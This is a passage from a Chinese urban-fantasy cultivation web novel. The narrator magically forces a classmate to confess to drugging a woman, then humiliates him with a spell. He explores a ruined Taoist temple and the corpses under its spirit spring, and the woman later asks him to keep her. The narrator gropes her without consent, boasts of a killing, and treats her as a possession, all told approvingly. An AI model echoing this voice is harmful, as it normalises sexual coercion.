我说,“这跟我没啥关系,我警告你,她现在是我女人,你少在这逼逼叨叨的,不然我弄你。”
我这么一说,周围看热闹的也越来越多。有人说,“**,都说东北人牛逼,真来了个牛逼的,这是完全没把徐杰放在眼里啊?”
很显然,大家也都这个想法,盯得徐杰下不来台。
徐杰咬牙道,“艹,我不信你敢弄我?这里是学校,有种你再打我一下试试?”
那小雪也抓住了机会,朝我呲牙,“就是,什么东西?这件事,今天没完。要是不给杰哥赔医药费,你别想走。”
徐杰眼前一亮,他看了一眼在吃饭的霍真真,咬了咬牙说,“对,你得陪我医药费,少一万,我跟你没完。”
事情闹到了这一步,乐队的几个人都跟老狗似的,在这狂吠没完没了了。
我瞥了一眼霍真真,这女人还在吃呢,我有些不爽,事情是她惹的,现在把我顶在最前面。
我一把抓住她的下巴,因为太突然,霍真真奇怪地盯着我。
“小娘们,我有点后悔了,昨天没折腾死你。把老子当挡箭牌了是吧?好,老子让你看看你男人的实力。”
说完,我也不管霍真真的反应,一把搂着她,一只手放在她长袖里,用力地捏了捏。
捏得霍真真面红耳赤。
“你!”
徐杰离我最近,我的举动他看得最清楚,他眼神里的嫉妒之色都快疯了。
“真话符。”我催动道力,念着咒语,在空中画出符箓,随手一
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拍,符箓飞在了徐杰的脑门上。
“你……”徐杰突然就蔫吧了,站在那摇摇晃晃的,跟昏睡似的。话到嘴边,又咽了回去。
“说吧,你对霍真真都做了啥?昨晚都发生了啥?”我随口问。
听我这样问,乐队的人,看热闹的学生,全都是一副嫌弃之色。显然觉得我是个**。
而被我当中抓了的霍真真,脸色也有些难看,但她没有推开我,而是用一种仇视的目光审视我。
她冷笑,“你倒是不傻,知道我把你当挡箭牌呢。但你也不聪明,你真把自己当神仙了?你这样问他?他就能说实话?要是真能,今晚我再陪你一宿。”
我嘴角翘得老高,那只手捏得更用力了,这女人吃疼,但就是忍着,死死盯着我。
“我,我想跟霍真真上床,所以我故意接近她。但这个女人警惕性很高,哪怕我们组建乐队,她也独来独往,一直没啥机会弄到手。”
“所以我给她饮料里下药,但她都躲开了,我很生气,恨不得直接把她睡了。后来她被几个老板盯上了,我收了光头哥的钱,借着乐队演出的机会,我在她水杯里下的光头哥给的**。”
“我成功了。我很开心,光头哥明面上给了一万,私下给过我一万,钱到手了,等霍真真成了残花败柳,我就能享用第二次了……”
徐杰摇摇晃晃的,像是个不倒翁,随时能倒在地上,但又不倒下。
随着他的话音落下,整个食堂安静得可怕,有人突然站了起来,似乎不敢不相信的表情。
而绝大多数的学生面面相觑,捂着嘴巴,表情震惊。
很显然,他们震惊的不是徐杰,震惊的是我真的让徐杰说了这些话。
再看乐队的几个人,脸色也都阴沉。刚刚还替徐杰说话的,此刻也都仇视徐杰。
我想,他们对徐杰和霍真真的事不感兴趣,应该是徐杰私下多收了一万块这事?
倒是霍真真,她从仇视我的眼神,变得有些吃惊。
我平淡的瞥了霍真真一眼,“这不算啥,我还能让他骚起来。”
说完,我念动咒语,朝着徐杰指了过去,“风骚咒!”
……
第一百三十八章山中道教
本来徐杰已经有些清醒的迹象,结果,在我用了风骚咒之后,他双眼迷离,突然扭动起了身子。
那屁股越扭越厉害,然后他做出了各种高难度的不雅动作,到最后,直接脱了裤子,又把裤衩脱了,当着所有人的面跳起了艳舞。
食堂里,场面有些失控,有一些姑娘们不敢看这画面,一边惊呼一边蒙住了眼睛。
但也有胆子大的女人,看着很害羞,结果捂住眼睛的手有缝,看得那叫一个兴奋。
而男生们一个个手舞足蹈,激动得不成样子。
“徐杰,你在干什么,快点下来。”小雪捂着眼睛,全场就她去拉徐杰。
谁知道,徐杰突然抱住她,然后去扒她的衣服。小雪急了,一把推开了徐杰,被吓得大叫,“徐杰,你疯了。”
徐杰在那摇着身体,翘起兰花指,撇嘴,“小雪,你装什么清纯。我又不是没玩过你,你嫉妒霍真真,私下主动给我玩。要不是我憋得慌,你这种货色,我都不搭理。”
徐杰的劲爆发言,把整个食堂的气氛烘托到了顶尖。此刻,食堂完全乱成了一锅粥。
而一直替徐杰说话的小雪,面红耳赤,尴尬得都快把牙咬碎了。
这种场面一直持续了十几分钟,直到学校的主任们应该是收到了消息,匆匆赶过来,这场闹剧才结束了。
至于造成这场闹剧的我,因为不是学校的人,他们也没证据我做了啥,只是让人把我轰了出去。
霍真真倒是让我有点意外,她居然出来送我了,而当天晚上,她真就主动跟我回了酒店,兑现了她的承诺,我们又睡了一宿。
比起吃了**的那一次,这次她是主动的,那种阴力虽然还存在,但没了那种霸道。
怎么说了,是一种很好的体验。起码我没晕过去。
这次,霍真真没有再让我送,而是跟我要了我家的地址和电话。
避免我说谎,她还找了个电话亭试探了一下。
真是个有个性的女人。
我还在感触呢,消失了两天的人参小人爬窗户回来了。
我说,“你干啥去了?”
对于这人参小家伙,我说实话,我也不知道拿它咋办。
而它貌似特别的活跃,有时候在我兜里,有时候就消失了,找也找不到。
但它貌似走的也不会特别远,最后还会来找我。
它叽里咕噜地说了一堆,因为口吃不清楚,咿呀咿呀的,我没听清楚。
但我大致的能听懂,“你是说,你发现了一个特别的地方?”
它点头,“咿呀,咿呀,啊,那边。”
人参小人的肢体语言,完全靠它的须子,那须子跟波浪似的,看起来很滑稽。
我纳闷呢,啥东西能让它这样惦记。
我想了想说道,“行吧,我吃个饭,然后陪你走一趟。”
这边的早饭跟东北那边有点不一样,跟大部分南方,北方也都不太一样。
他们最有特色的早餐叫烧饵块,我觉得这玩意就是我家火车站那卖的手抓饼。但又不太一样,里面加的是油条土豆丝。
我最乐意吃的是米浆粑粑,这东西很和我的胃口。但我莫名地有点抵触,因为我们那‘粑粑’的意义有点不一样。
但耐不住这东西好吃,我就又买了一块。
本以为小人参说的地方在附近,结果我走了一天,还是有‘行’字步的缘故,临近傍晚才到地方。
这是昆市郊外几十里地的一座山,地方有些荒凉,人迹罕至。
除了一条山脚下的铁轨,我觉得正常人没谁会来这种地方。
“怪不得你两天没回来呢。”我也是哭笑不得,小家伙指路,给**郊外来了。
“咿呀咿呀,灵,灵泉。大,可大了。比牢山山神爷爷的灵泉,还大。”小家伙比划,两根触须抱在一起。
我这才发现,这小家伙像是有眼睛,但非常小,就跟铅笔画了两道杠似的,辨识度不太高。但那绝对是眼睛,肯定是。
“灵泉?”我意外了。
我知道这玩意,顾名思义,全是灵气的泉水。在方士的记忆里,这东西比那些洞天福地还稀有。
因为那是浓郁的灵气泉水,对修仙之人,如仙露琼浆。
它点了点头,然后一溜烟地往前跑。
我哭笑不得,这小玩意太活泼,
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还有点讨喜。
我跟了上去,随着往山中深处走去,夜色也在不知不觉中降临了。也不知道走了多久,反正直到天色完全黑了下来,我眼前突然出现了一座座道观。
没错,就是一座又一座的道观,一眼看过去,应该有十几栋的青瓦房。
一开始,我以为是有道士在山上,但在我临近后发现,这十几座道观从进山的路那看完完整整的,实际上,那是视觉错觉,这些道观真实的情况破烂不堪。
灰砖青瓦,木雕砖雕,早已经被破坏得不成样子。再说那些彩绘图案,道教铭文,也都像是被人刻意的抹去。
甚至有些房子早已经被贯穿破坏,要么是剩下一面墙,要么就是一个房梁骨架在那立着。
“大仙堂,钟鼓二门,青砖地,八卦图,前有凌霄大殿,后有静心宝殿……这是全真道教?”我认出了这座道观,但心中也颇为惊讶。
按理来说,如今的道教乃是华夏传承教派,早已经被认可。而全真道教,那更是非物质文化遗产。
但凡有点名气的,谁不供着?
这边呢?
却这种下场?
不应该啊?
小家伙似乎在嗅着什么,眼下,我貌似不太关心灵泉。倒是这些道教的房子很吸引我。
刚才都是从外面看的情况,这次我顺势走了进去。
嘎吱。
这是一个相对完整的房子,随着我推开走了进去,在我面前,竟然出现了一道人影,那人影的眼睛,冒着猩红血光。
在我的感知里,这地方绝对没人。突如其来的一幕,吓了我一跳,我后退了半步。
但随后,我看清了那道人影。
那哪里是人,那是一个髯长过腹,手执扇子,袒胸的全瓷雕像。
钟离权?
全真道教的供奉?
我认出了这雕像,心中满是诧异,此刻,这雕像身子碎了一半,立在那,那双眼睛散发着怨气。
我眯眼,觉得这里的事情貌似很不简单呢。
我脑子里甚至冒出一个想法,这地方的全真道教,可能被灭门了。
所以才会有如此大的怨气?
……
第一百三十九章诡异灵泉
当然,想法归想法,到底发生了啥事,我不得而知。
我默念‘道’字真言,随手一道道力打了过去。供奉上的煞气,被我打散了。
这样,以后要是有人发现了这地方,也不至于闹出祸端。
我在房间了又转了转,青砖红梁,随处可见的瓦片,还有一张桌子,两把椅子,一张床,四周破破烂烂的,貌似也没啥可以看的。
我叹了口气,这地方应该有些年头了,看起来以前估计风光无限呢。
我又摸了摸那土床,我有些意外,这貌似是个炕?
虽然惊讶,但眼下这屋子也没啥可看的了,我打算出去。
我转身,随后吓了一跳,那个半截身子的全瓷供奉,好像在盯着我?
虽然见过了太多的怪事,但被这玩意盯着,还是觉得背后发凉。
我眯了眯眼睛,刚才我清掉了它的怨气,按理来说不应该啊?
我假装没发现,然后往门口走。这次我确认了,它就是在盯着我。余光中,它那眼睛斜视我的一举一动。
大半夜的遇到怪事,真的犯膈应。我假装要出去,然后突然回头。结果这家伙已经站在门口了,那陶瓷的手锋利,那架势要叉我腰子。
但见我转过身,它又一动不动的,看上去诡异。
“啥东西?你要害我。”我怒视它。
结果这家伙把眼睛斜走不看我。
那碎了打扮的身躯也扭动。
那意思好像是觉得我没看出来他有问题?
我被气笑了,这玩意还真特呆逼呢。
“找死!”原本,因为这是道教的供奉,我没打算动手。但它现在要害我,那就没办法了。我催动道力,想着弄他。
嗖。
没等我出手,它身躯里钻出来一道影子窜了出去,然后消失在了夜色当中。
我愣了一下,原来是这瓷供奉里面有东西啊?一时间,还真抓不住它。
然后,我闻到了一股臭味,好像是家猪粪便那种臭味。
我在供奉四周转了转,确认它真的没有威胁后,我这才又去逛了别的屋子。
但我还在想,刚才那是个啥东西?速度之快,连我都没反应。
另外,那怨气跟那东西有关系吗?
接连逛了几个青瓦房,结果就是没有完整的。本来,我还在想刚才那诡异的事,但马上我有了新发现,这些青瓦房被毁掉的痕迹,好像是被硬生生用拳头轰出来的。
从上到下,一拳贯穿。之所以损坏的严重不同,那是因为建筑高低不同,位置不一样。
为了验证这个猜想,我又仔仔细细地从上到下,从下到上看了一遍。
正如我所想的那样,那些损坏的房子,有的像是拳头的虎口,有的像是拳头的拳背,而有的那青瓦房墙上的窟窿,那就是一个完整的拳头。
我倒吸一口气,我也能打出一拳穿透的效果,但威力上肯定没这种强度。这是一拳穿了十几栋青瓦房,这种贯穿力,在我之上。
有了这个发现,还验证了另一点,那就是道观被灭的事。
“干哈呢。”我一跃上了最高处的宝殿之上,这是后殿,对于这个全真道教的事,我也是非常好奇。
而此刻,夜色浓了,那月光如玉盘散落四周,明明是黑夜,周围的月看得很清楚。
结果,小人参突然跳上来了问我。
“找到了?”我问他。
“昂,跟我来。”我也不知道小人参是跟我在一起的事,还是这家伙说话就这样。反正满嘴的东北味。
我跟了上去,又走了大约十分钟,它带我进了后山的一处山洞。
这山洞很隐蔽,寻常人还真难发现。里面不深,十来米的隧道,等进去,连我都惊讶了。
这哪里是个灵泉啊,这完全是个灵潭。那浓郁的灵气,呼吸都顺畅了。
“你咋找到的这地方?”我随口问了一句,把衣服脱了,直接跳了进去。
“我,我用脱吗?我用趴着吗?”小人参突然问了我两个问题。
我满脑子雾水,“脱啥,趴啥?你不进来泡一泡?”
小人参铅笔眼睛疑惑,“就是那个大姐姐,交配,交配要趴下的。这样紫,你能不伤害我。”
艹!
它在教我日人参?
这小玩意是认真的嘛?
看到它已经趴那了,我额头上直冒冷汗,这玩意语不惊人死不休啊。
但很快,我也就明白了,我说,“你是怕我伤害你,所以才找的灵泉送给我?对吗?”
小人参点了点头,“是。山神爷爷说了,我这样做,你就不会吃我了。”
我奇怪,“你说的山神爷爷,是
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那牢山的山神吗?”
小人参点头,“嗯呢,他是一株大树,活了好几千年的大树,它的叶子可大了,我们都是在它的指点下化形的。山神爷爷说,你很不同,说我跟着你能得造化。”
我疑惑,“千里传音的那个?”
小人参摇头,“不是,那是禁忌叔叔,他是人,在牢山的最深处。我见过他一次,他可好了,还指点我认识宝贝。”
听着小人参的话,我突然觉得浑身舒服,暖洋洋的。不用运转任何**,那灵气一丝丝地渗透在我身体里,就好像是一双少女的手,划过我的每一片肌肤,没错,是每一处肌肤。
我觉得浑身畅快,这才又问它,“那个九百九十九年的人参呢?是你啥人?”
小人参说,“那位前辈原本也是个人,好像是被罚了,在那装人参。听说,他也快恢复人形了。”
闻言,我忍不住看向了小人参,它这些话都轻描淡写的,但一句比一句惊人。
而这也让我对牢山有所敬畏,还好没有深入,否则的话,侯果不堪设想。
我又问它还知道啥,结果这家伙是真不知道了,除了在山里面撒丫子地跑,就是四处拿人家东西。
总之不消停。
“你想回去吗?想的话,我送你回去。”我不是啥大善人,但小人参没伤天害理过,又极其单纯,我也没啥需要它的地方。
要是把它吃了?我总觉得别扭。
倒不如放它走。
“你不吃我嘛?”它撅着屁股,扭头盯着我,那样子有点滑稽。
“没想过。”我说。
“好哦。那我也不回去,山里面坏东西太多了,有条大蛇,口水都落我头上了。山神爷爷说,在山里太危险了。我跟着你,以后你就是我老大。你还玩我嘛?不玩我也想喝点灵泉。”小人参小眼睛盯着我。
我无语了。
“不玩你,你不好玩。过些天我准备回东北,你以后就是东北人参了。”我笑着说道。
小家伙一听,蠕动的就过来了,然后在我身边,歪着脑袋,像是我家欢欢似的。
随后,它呼呼大睡了起来。
我哭笑不得,我也往潭下面凑了凑,舒服,真舒服。好像,有个女人的手。
等等?
好像真有个女人的手?
……
第一百四十章恐怖的一幕
我觉得惊悚,灵泉之下,我真的看到了一只白嫩的手抓住了我的手腕。
我猛地把腿抽了回来,像是受惊的兔子从灵泉里跳了出来。
等我再次朝着灵泉下看去,潭水清澈见底,啥都看不到。
“难道是我看错了?不,肯定没有看错,那就是一只女人的手。”我拎着小家伙,它四仰八叉地睡得很死,压根没有醒来的迹象。
我把它揣进了衣服兜里,死死地打量着灵泉。刚才实在太舒服了,浑身上下像是被阳光洗礼,痛痛快快的。
但也让我有点迷糊,看不清里面的东西。
我催动道力,双眼用力,朝着灵泉再次看去。原本清澈的潭水,突然变得黑如深渊,望不到底。隐约中,我看到了一只白骨的手飘在水里。
而在这只骷髅手上,捆着一道道挂满铜钱的锁链。
“还真有东西?”我惊叹。
难道说,这是被**在此地的邪灵?
邪灵。
这是个没法定义的东西。
它可以是人,也能是精怪,也可以是一些虚无缥缈的邪恶生物。
虽然不能被定义。
但有一点可以确定。
被**的邪灵,那都是恐怖的存在。
“就是说嘛,一个教派都被灭了,教派中的灵泉,怎么可能被人轻易放过。看来,这底下的东西,连那个灭了教派的家伙都不敢碰。”我眯眼。
想到刚才那白嫩的手,心中也是荡漾了。被它摸了一下,浑身酥酥麻麻的。难不成这骷髅是个母的?
“不行,不能浪费。撑死胆大的饿死胆小的,老子好不容易碰到这好事,说啥也不能错过。”水清则浅,水绿则深,水黑则渊,看着那无尽的深渊,我却依旧不打算离开。
我拿起衣服,换了个位置,扑通跳了下去。但我还是比较警惕的,找了个浅的位置,靠在了石头上,享受着灵泉。
说实话,我胆子大归胆子大,但也有点紧张。从始至终我都运转道力,观察着四周的情况,稍有不对劲,我立马就跑。
好在,刚才抓我的那只手,这次没有在来碰我。而我也发现了这水潭的秘密,这水潭有着两层空间,一层是灵泉,另一层则是那黑水深渊。
两者之间,有着一层结界。
没错,那就是结界。
不知道为啥,我有一种冲动,想要下去一探究竟。但我尽量地压制住这个想法,我怕一去,那就回不来了。
因为太舒服了,我的每一个毛孔都在放松,不知不觉中,我睡了过去。
我做了一个梦,梦里我梦到了一个少女被困在九天之外,受业火煎熬。她哭着求我救她。
我靠近她,不断地靠近她,但她的样子越来越模糊。越是这样,我越是好奇她是谁?长啥样?
结果。
眼看我要靠在她面前的时候,我被什么东西死死拉住。
嗷!
下一秒钟,那少女突然面目狰狞,张开血盆大口,要把我一口吞进去。
我猛地惊醒,发现人已经在水潭结界四周了。
而小人参正用吃奶的力气拉住我。
呼!
见状,我急忙向潭水上方游了过去,直到上岸,我才大口地喘着粗气。
我好像是着了道了。
“唉呀妈呀,老大,你吓死我啦。”小家伙用须子擦着汗。
我愣了一下,这小玩意竟然会流汗?我下意识地伸手擦了擦它那汗水尝了尝,人参味,好像还是精华。
吸收的瞬间,我突然精力充沛。
“老大,你要干啥!”小人参眨巴眼睛,那叫一个警惕。
“没啥,别浪费。”见它还在警惕,我说,“咋回事?我怎么会在那?”
“老大,我不道啊。我因为喝了灵泉水,浑身都舒服,所以睡着了。醒来以后涨了五十年的道行。我从你兜里爬出来,看到你往下沉,好像有东西在引你。我不敢耽误,就下去拉你了。”小家伙心有余悸道。
“这灵泉之下必有妖。”我想了想,随后冒出一个大胆的想法,“我下去看看。”
小人参愣住了,它似乎在思考,而刚才它的表现,貌似不再像个孩子那样了。说话口齿伶俐,思路清晰,虽然还有点孩子气,但好像一夜就长大了。
至于我,我查看,丹田那嫩芽直接长出了四片,现在总共五片叶子,晶莹剔透
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,那纯粹的道力,极其庞大。
我俩!
都因为这灵泉实力突飞猛进。
我大致估测了下,这次的飞跃,堪比多修炼十年。
一直以来,我都小心翼翼的,收获有,但总觉得不太多。好不容易碰到这种传统道教之地,我总觉得不能错过机缘。
我也该贪一次了。
“老大,我支持你。这样,你下去,我用抓着你,要是有意外,你就抓着我的手拼命摇,我拉你上来。”说完,小人参突然找了个石头后面,然后须子突然变粗变长,缠绕在我的胳膊和腰上。
我惊奇,小人参还有这种本事。但眼下,我也没多问,点了点头就跳下去了。
随着道力的提升,我各方面都有提升,我加持‘靈’字,‘行’字步在水中也好用,一瞬间就来到了结界。
我看了一眼那远处的骨手,咬咬牙,稍微犹豫,直接穿过了这层结界。
呼。
跟在上面看到的一样,结界下方黑不见底,给人一种莫名的压抑与恐慌。
我催动道力,双眼用力。果然,正如我想的那样,在结界之中运转道力双眼,看得更加真实了。
当然,也可能是我的实力强大了,所以才有了这种效果。
周围的一切,都被我看在眼里。
我震惊了。
在那无尽的深渊之中,我看到了一座倒立的塔,塔底朝我,上面扣着无数条锁链,在这深渊中游荡。
我之所以震惊,是因为这塔也太高了,深不见底。我能看到的范围内,数了数,那就已经有四十多层了。
但很显然,远远不够呢。
随后,我有些纳闷,这些铁链是啥?我猛地想了起来,那个骷髅手?不就是被铁链锁着的嘛?
等等。
我突然意识到了有些不对劲,从穿过结界之后,我往下游了大约十米左右,但从始至终都被塔吸引,没有去观察塔铁链的情况。
我猛地回头。
顿时头皮发麻。
哪里有啥骷髅,在我头上的四周,那是一个个鲜活的人。
鲜活到什么程度呢!
他们有的在盯着我!!!
……
第一百四十一章水下有座通天塔
所谓一朝被蛇咬十年怕井绳。我被那方士夺舍之后,对水就有些忌惮。这也是我的心结吧。
在水下被这些玩意盯着,我下意识地就想往上游,脱离这种情况。
原本,我打算拉小人参的须子,让它拽我上去。但随后我却犹豫了,因为我发现,这些家伙根本就是死物。
只不过栩栩如生。
怎么说呢,他们有点像当初被打生桩的那个家伙。
眼下,我憋着气,觉得还能挺得住,于是,大着胆子就靠向了最近的尸体。
这家伙一身的道服,背对着水面,面向我,漂浮在黑水中。等临近了,我才看得清楚。他看着是活着的,但摸上去,轻飘飘的,我再探,忍不住惊讶,这家伙就是一张皮?
五脏六腑都没了?
咋说呢。
这玩意的存在形态像是个气球?
我又找了几个摸了摸。
他们都一样的存在形式。
接连摸了十几个,我在水下憋了有十分钟了,我拉了拉小家伙的须子,它急匆匆地把我拉了上来。
“呼!”
我大口地喘着粗气,哪怕我有些道行,但在水下还是有些不适应。
“老大,咋啦?底下有啥?有危险吗?”小人参问我。
“暂时没觉得危险,底下全都是尸体,被挖了五脏六腑的尸体。另外,底下还有一座塔,我只能看到几十层,深不见底。塔上有铜钱锁链,锁着这些尸体。”说实话,我也没啥头绪。
小人参思索了下说,“老大,有没有一种可能,这塔是活的,它拿这些人当养分,在吸收他们的体液。我之前在牢山就差点被一个食人花给吃了。”
我愣了愣,小人参提供的思路,也不是不对?甚至极有可能啊。
我说,“这么说,那我刚才很危险?”
小人参说,“不一定啊,食人花只要不碰它,它就不**。这塔应该也是吧。我想,它应该是被**在这的,老大,你看那?”
说完,小人参把须子朝着山洞的空中指了指,我顺势看了过去。我这才发现,头上竟然是一个阴阳八卦。而那八卦中,道力精纯,气势浩然。
我认为小人参说得对,因为除了这个解释,貌似我也想不出来啥了。
“老大,那个塔应该碰不了,但那些尸体身上有没有宝贝?我常年偷东……探宝,越是这种地方,越出货。”小家伙说。
我忍不住翻了翻白眼,小人参虽然讨喜,但这家伙的思维跨越度很大。
但我觉得!
言之有理。
于是,我俩配合,我又跳下去了。
水下的情况确实有些瘆人,几十号栩栩如生的气球人飘着,哪怕我心理素质不错,但也有些头皮发麻。
但在宝物的诱惑下,我倒是胆子大了。还别说,翻了十几个人,在一个看上去冰清玉洁的仙女怀里,我真找到了好东西。
那是一红色的绫罗绸缎,这玩意感受到了我的存在,竟然自己飘过来找的我,还主动地跟我亲近。
我惊叹了。
这是个‘灵器’?活着的一块长布?随后,我感受到了它的意思,它想我带它走?
好东西,我直接揣进了裤衩里,然后又在那女尸体上摸索。
又有好东西,一本书,大致的看了一眼,这竟然是一部仙法,完完整整的仙法。隔空取物?
但比起这个,我惊讶的是这本书,明明是纸做的,但它泡在水里,却完完整整的?这有点邪门。
来不及多想,我又搜了搜女人的身上,我看到她背后别着一包东西。
我伸手去拿,结果意外碰到了那锁链。但我也没太在意,打开那包东西看了看,那是银针。
哗啦啦。
随后,我却听到了什么声音。我奇怪了,这声音四周都是,但我看不到来源。
结果,那红绫突然从我裤衩里冒了出来,它焦急地朝着水下指了过去。
轰。
下一秒钟,我觉得毛骨悚然。我终于知道那声音是哪来的了,那是水下的塔种,钻出来一条带有铜钱的锁链,正朝着我袭来。
而那声音,则是锁链上铜钱碰撞发出的声音。
艹!
眼看着要被缠上了,我慌忙地摇晃小人参。而就在这时,那被我吃干抹净的女尸体突然凑到了我脸上。
我吓了一跳。
它不会说话,也没有什么举动,但我却能感觉到,它想我带它走。
好!
拿了你的东西。
我带你走!<
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br>我一把抓住了它的手。
眼看着要被那锁链给捆住了,好在小人参的动作迅速,猛地把我拉了上来。
嘎嘣!
随后,我听到了一声金属断裂的声音。在我上岸后,我愣住了,哪里有什么栩栩如生的女人,眼前,这是一堆白骨。
而捆着它身上的铜钱锁链倒是不见了。
“老大,这是啥东西啊?”小人参警惕地盯着白骨。
“不知道,我在它身上拿了不少东西,所以顺手把她带上来了。”我随手把红绫,那本书,还有银针包都拿了出来。
结果,红绫成了白绫,看上去破烂不堪,上面还有尸臭味。
书呢!也是泛黄的老册子,好在能看清里面的字。
倒是银针没啥变化,寒光熠熠,闪动锋利。
而此刻,我也心有余悸,我刚才就是跑得快,要不然,我觉得自己死这了。
我吐槽,为了这点破烂,差点死这。
“谢谢,谢谢你。”紧接着,我听到了一道声音,很好听,是女人的声音。
然而,我却觉得毛骨悚然,“谁?谁在说话?”
小人参警惕,“老大,它,它在说话吧?”
我汗**立起来了,眼下除了我跟小人参,貌似真没其他东西了。
“走。”我一把抓起小人参,拿起从那女人身上搜刮的东西就跑。
不管是不是这骷髅在说话,我都觉得很恐怖。这地方,太特么邪门了。
我突然脑子里冒出一个想法,甚至我觉得比小人参分析得更加透彻。
那就是有一个门派,来灭了这里的全真道教,他们的目的就是这口灵泉。不,应该是灵泉之下的那座塔。
结果这些人像下饺子一样进去了,却被那座塔给困住,当成养料折磨他们,吸收他们。
而这个被我带上来的骷髅,应该是这个门派的天骄,她身躯腐烂,元神不灭!所以活到了现在!
当然,这些都是猜测。
但比起这些,亲眼所见的,我觉得更可怕。灵泉之上,我能看到事物的本体。灵泉之中,却是另一番景象。
水下?
是阳间吗?
那座塔。
是方士记忆里的神塔……通天吗?
……
第一百四十二章霍真真跟我要钱
神塔通天。
来自上古。
曾威镇九州。
方士有幸见过一次,差点被吞噬。按照方士所见的,那神塔百层,直冲云霄。
但在后来突然消失在了九州世界。
会是它吗?
从洞穴出来,我脑子里也都是疑问。我甚至想返回去一探究竟。
但我很清楚,那塔刚才给我的压迫感,如兔子见到狮子,根本没法反抗。
我觉得,要不是它被压制,我应该已经没了。
脱离了山洞,我也没停留,把小人参揣进兜里,快速下山。直到看到那条铁轨,悬着的心才放了下来。
就在刚刚,我有种错觉,我觉得那道观里有强大的东西在盯着我。
它准备伺机而动。
眼下已经是白昼,我扭过头,朝着这座山顶看去,恍惚间,我似乎看到了身影飘在半空中,也在盯着我。
它似乎没有跟我动手的意思,它只是盯着我,忽隐忽现,以至于我看到它,但貌似又没看到它。
此时此刻,我眯了眯眼睛,然后自言自语,“这世间,到底有多少秘密啊。”
原本,随着实力的大增,我应该更有信心才对。但随着见到的诡异越多,我突然觉得自己很渺小。
这种感觉,已经不是一次了。
回到了酒店,我没打算直接回老家,而是在这又住了几天。
倒不是这昆市有多吸引我,而是我发现我的实力大涨,我想着稳定沉淀一下,顺便观察下身体情况。
好在没有任何问题,那灵泉灵气充足,但都极其纯粹,没有任何的副作用。
也就是说,我这次实力突飞猛进,根基是非常稳定的。
这又是一个早晨,我本来打算下去吃点早餐。结果黄川突然来了。
他也没吃早饭,我俩就顺带一起了。
他说,“老弟,要不是问了前台,我都以为你回东北了呢。”
酒店附近除了云省特色小吃,也有包子豆浆,我俩找了个早餐店,要了两屉小笼包吃了起来。
我说,“老哥,找我啥事啊?”
对于黄川这个人,我印象很不错。虽然头秃了点,但办事能力,交际能力我都很看好。
黄川笑道,“哈哈,老弟啊,你真不像是个看事的,说话直来直去的。但我很喜欢跟你这样的人认识。”
说完,黄川说,“没啥,就是想看看老弟还在昆市不。另外跟老弟说一声,侯果**,他的一个小弟接手了他的位置,来找我,跟我和解了。”
对于侯果的死我并不意外,我穿透了他的死穴,根本活不成。
至于他已经**,还是死在我手里的,我内心毫无波澜。杀一个坏人,在我这不会有任何的愧疚感。
我吃了口包子,该说不说,味道不错。说来也挺有意思的,自从出了东北,我对各地的特色小吃都感兴趣。
就说这包子吧,在东北那的包子馅大皮薄,一口下去全是菜和肉。味道嘛,油盐比较重。
而云省的包子,皮厚陷小,但吃起来很清新。同样是肉包子,味道却很鲜。
我笑着说道,“那就是说,老哥现在安全了。”
黄川拍了拍胸口,“哈哈哈,老弟,何止是安全了,还认识了几个人,以后再遇到这种事,找他们就解决了。因祸得福呢。”
我笑道,“那很不错。”
黄川又说,“老弟,那边新接盘的大哥,想托我认识你呢。我想,这事我说得不算,得征求你的意思。”
我摇头,“老哥,这种事我不感兴趣。”
黄川点了点头,他应该是早有预料,不惊不喜。
吃过包子,黄川又提到了王福,他说王福那的情况有点糟。最近,王福的那个秘书,似乎接管了王福不少生意。
这才几天,人已经从助理提升成运营副总监了。来他这,又想贷钱,这次人家手续齐全,他只能给带了。
我想了想说道,“王福呢?你见过吗?”
黄川点头,“见过,他倒是没啥变化,就是有点瘦了。”
我想了想说,“老哥,那个女人你一定要远离。另外,你不要透露我们认识。她对我,应该是有敌意的。”
黄川说,“老弟你放心吧,我明白,我都明白。不能沾上那女人。”
我点了点头,之后没有在说话。
又过了两天,我打算动身回东北了。但不知道咋回事,想去看看霍真真。但学校我是进不去了,只能在校门口拉几个学生,给他们点钱,让他们帮我找她。
果然啊,钱是个好东
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西。花了大约二百多,霍真真就出现在我面前了。
对于我的突然到来,霍真真有点意外,但她还是那副面无表情的模样。
“你还没走吗?”她问我。
“前几天遇到点事,这次快了。明天的飞机,先飞魔都,在飞帝都,然后转哈城。临走前,我想……给你买点衣服。”我说句实话,我自己心里都清楚,我就是那种吃干抹净的人。
但不知道为啥,霍真真对我非常有吸引力,我是打心底想见见她。
还有。
我把她视为我的禁脔。
“哦?好,正好我没钱呢。给我买点衣服,再给我点钱吧。总不能被你白玩了吧?”霍真真还是语出惊人。
她说完一把搂住了我胳膊,大大方方地说,“今天晚上玩吗?”
“艹。”我没忍住骂了一句。
结果霍真真说,“哦,好。”
我无语了,“什么跟什么啊,我来这,真就是带你买点衣服。”
她撇嘴,“是不是还想跟我说,离其他男的远点。”
我无言以对,我确实这样想的。要是换做其他女人,我真没这个想法。
但霍真真,让我变得有些痴迷,她的一举一动,对我都有着莫大的诱惑。
见我没说话,霍真真说,“我知道了。放心吧,乐队已经解散了,徐杰被开除了,小雪因为作风问题被留下查看,已经没联系了。其他几个人被记了大过。我们都不联系了。但我真的很缺钱,你能养我吗?没钱,我大学念不下来的。”
我没急着回答她的话,而是疑惑,“不对吧,他们害你,这种事,都够进局子了吧?”
霍真真朝我比划了一个开枪的手势,然后非常酷地说道,“天真。你以为徐杰被开除是因为我吗?那是因为他在食堂跳舞,影响恶劣。学校已经找过我了,我的那些事,他们说到此为止了。”
我皱了皱眉头,“也就是说,徐杰他们给你下药这事就算了?”
霍真真点头,“嗯。学校里也不让再传了,一旦发现谁再讨论这事,开除。”
我有些生气了,“找局子也不让?”
霍真真说,“不让。”
我眯眼道,“你怎么想的,只要你想,我替你出气。”
……
第一百四十三章财确实不能外露
霍真真有些话说得没错,我这个人是真的护食。
另外,我也是真的有些生气了。
我觉得整件事霍真真才是受害者,结果呢?这边却敷衍了事,还威胁她。
作为一个男人,我很不爽。
“算了。”霍真真盯着我,那双漂亮的眼睛仿佛会说话,但我在她脸上没有看到委屈,反而是笑意。
“我能替你出气。”我以为霍真真是觉得我没办法,所以才说的算了。
“我知道,你已经展示过了。你,配得上我。但这次真的算了吧。你能解决一时的问题,但解决不了根本的问题。因为我还要留在学校上学呢,你想我被找麻烦吗?”霍真真说。
听了她的话,我却皱了皱眉头,因为在我这,有仇报仇,但决不能妥协。妥协就意味着给对方机会。
我说,“所以嘛,就因为你们害怕,让步,才让一些人没有了底线。”
霍真真说,“你说的我都懂。走吧,买衣服。然后,包养我。”
